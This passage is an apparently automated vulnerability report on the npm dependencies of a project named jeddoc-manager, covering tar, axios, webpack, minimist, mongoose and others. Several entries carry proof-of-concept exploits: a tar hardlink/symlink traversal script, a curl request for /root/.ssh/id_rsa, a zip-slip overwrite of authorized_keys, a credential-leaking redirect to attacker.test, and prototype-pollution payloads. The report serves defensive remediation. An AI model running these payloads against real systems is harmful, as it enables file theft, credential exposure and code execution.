Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › gaze@1.1.3 › globule@1.3.4 › glob@7.1.7 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar-pack@3.4.1 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint@3.19.0 › file-entry-cache@2.0.0 › flat-cache@1.3.4 › rimraf@2.6.3 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar-pack@3.4.1 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar-pack@3.4.1 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar-pack@3.4.1 › fstream-ignore@1.0.5 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight.
References
medium severity
- Vulnerable module: tar
- Introduced through: bcrypt@1.0.3 and node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar@2.2.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via processing of hardlinks. An attacker can read or overwrite arbitrary files on the file system by crafting a malicious TAR archive that bypasses path traversal protections during extraction.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.7 or higher.
References
medium severity
- Vulnerable module: https-proxy-agent
- Introduced through: nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › https-proxy-agent@1.0.0Remediation: Upgrade to nightwatch@1.0.4.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › https-proxy-agent@1.0.0Remediation: Upgrade to nightwatch@1.0.4.
Overview
https-proxy-agent is a module that provides an http.Agent implementation that connects to a specified HTTP or HTTPS proxy server, and can be used with the built-in https module.
Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). When targeting a HTTP proxy, https-proxy-agent opens a socket to the proxy, and sends the proxy server a CONNECT request. If the proxy server responds with something other than a HTTP response 200, https-proxy-agent incorrectly returns the socket without any TLS upgrade. This request data may contain basic auth credentials or other secrets, is sent over an unencrypted connection. A suitably positioned attacker could steal these secrets and impersonate the client.
PoC
var url = require('url');
var https = require('https');
var HttpsProxyAgent = require('https-proxy-agent');
var proxyOpts = url.parse('http://127.0.0.1:80');
var opts = url.parse('https://www.google.com');
var agent = new HttpsProxyAgent(proxyOpts);
opts.agent = agent;
opts.auth = 'username:password';
https.get(opts);
Remediation
Upgrade https-proxy-agent to version 2.2.3 or higher.
References
medium severity
new
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.32.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain proxy credentials by inducing a redirect from an HTTP request sent through an authenticated proxy to an HTTPS endpoint where no proxy applies, causing the proxy credentials to be forwarded to the final origin.
Note:
This is only exploitable if the application is running in Node.js with the HTTP adapter, an initial HTTP request uses an authenticated proxy, redirects are enabled, the redirect target does not use a proxy, and the redirect shape is not stripped by confidential-header handling.
Workaround
This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy. Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.
PoC
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
medium severity
new
- Vulnerable module: nodemailer
- Introduced through: nodemailer@4.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemailer@4.7.0Remediation: Upgrade to nodemailer@8.0.8.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Improper Certificate Validation due to the use of rejectUnauthorized: false in the internal HTTPS client, which disables TLS certificate verification during OAuth2 token retrieval. An attacker can intercept sensitive OAuth2 credentials and tokens by performing a machine-in-the-middle attack on the HTTPS connection.
Remediation
Upgrade nodemailer to version 8.0.8 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: bcrypt@1.0.3 and node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar@2.2.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3 › node-pre-gyp@0.6.36 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via insufficient sanitization of the linkpath parameter during archive extraction. An attacker can overwrite arbitrary files or create malicious symbolic links by crafting a tar archive with hardlink or symlink entries that resolve outside the intended extraction directory.
PoC
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.3 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.21.1.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). An attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.
Remediation
Upgrade axios to version 0.21.1 or higher.
References
medium severity
- Vulnerable module: bcrypt
- Introduced through: bcrypt@1.0.3
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3Remediation: Upgrade to bcrypt@5.0.0.
Overview
bcrypt is an A library to help you hash passwords.
Affected versions of this package are vulnerable to Cryptographic Issues. When hashing a password containing an ASCII NUL character, that character acts as the string terminator. Any following characters are ignored.
Remediation
Upgrade bcrypt to version 5.0.0 or higher.
References
medium severity
- Vulnerable module: js-yaml
- Introduced through: coveralls@2.13.3 and css-loader@0.28.11
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › js-yaml@3.6.1Remediation: Upgrade to coveralls@3.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › js-yaml@3.7.0Remediation: Upgrade to css-loader@1.0.0.
Overview
js-yaml is a human-friendly data serialization language.
Affected versions of this package are vulnerable to Denial of Service (DoS). The parsing of a specially crafted YAML file may exhaust the system resources.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade js-yaml to version 3.13.0 or higher.
References
medium severity
- Vulnerable module: node-fetch
- Introduced through: react@15.7.0, react-dom@15.7.0 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react@16.5.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react-dom@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react-dom@16.5.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react-test-renderer@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react-test-renderer@16.5.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react-materialize@0.18.4 › react@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react-materialize@1.1.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react-materialize@0.18.4 › react-dom@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react-materialize@1.1.0.
Overview
node-fetch is a light-weight module that brings window.fetch to node.js
Affected versions of this package are vulnerable to Denial of Service (DoS). Node Fetch did not honor the size option after following a redirect, which means that when a content size was over the limit, a FetchError would never get thrown and the process would end without failure.
Remediation
Upgrade node-fetch to version 2.6.1, 3.0.0-beta.9 or higher.
References
medium severity
- Vulnerable module: webpack
- Introduced through: webpack@2.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0Remediation: Upgrade to webpack@5.94.0.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via DOM clobbering in the AutoPublicPathRuntimeModule class. Non-script HTML elements with unsanitized attributes such as name and id can be leveraged to execute code in the victim's browser. An attacker who can control such elements on a page that includes Webpack-generated files, can cause subsequent scripts to be loaded from a malicious domain.
PoC
<!DOCTYPE html>
<html>
<head>
<title>Webpack Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade webpack to version 5.94.0 or higher.
References
medium severity
- Vulnerable module: minimist
- Introduced through: coveralls@2.13.3, mocha@3.5.3 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › minimist@1.2.0Remediation: Upgrade to coveralls@3.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mocha@3.5.3 › mkdirp@0.5.1 › minimist@0.0.8Remediation: Upgrade to mocha@6.2.3.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › mocha-nightwatch@3.2.2 › mkdirp@0.5.1 › minimist@0.0.8
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › optimist@0.6.1 › minimist@0.0.10
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a constructor or __proto__ payload.
PoC by Snyk
require('minimist')('--__proto__.injected0 value0'.split(' '));
console.log(({}).injected0 === 'value0'); // true
require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
console.log(({}).injected1 === 'value1'); // true
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist to version 0.2.1, 1.2.3 or higher.
References
medium severity
- Vulnerable module: mongoose
- Introduced through: mongoose@4.13.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mongoose@4.13.21Remediation: Upgrade to mongoose@5.12.2.
Overview
mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Prototype Pollution. The mongoose.Schema() function is subject to prototype pollution due to the recursively calling of Schema.prototype.add() function to add new items into the schema object. This vulnerability allows modification of the Object prototype.
PoC
mongoose = require('mongoose');
mongoose.version; //'5.12.0'
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mongoose.Schema(JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mongoose to version 5.12.2 or higher.
References
medium severity
- Vulnerable module: mpath
- Introduced through: mongoose@4.13.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mongoose@4.13.21 › mpath@0.5.1Remediation: Upgrade to mongoose@5.13.9.
Overview
mpath is a package that gets/sets javascript object values using MongoDB-like path notation.
Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2018-16490. In particular, the condition ignoreProperties.indexOf(parts[i]) !== -1 returns -1 if parts[i] is ['__proto__']. This is because the method that has been called if the input is an array is Array.prototype.indexOf() and not String.prototype.indexOf(). They behave differently depending on the type of the input.
PoC
const mpath = require('mpath');
// mpath.set(['__proto__', 'polluted'], 'yes', {});
// console.log(polluted); // ReferenceError: polluted is not defined
mpath.set([['__proto__'], 'polluted'], 'yes', {});
console.log(polluted); // yes
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
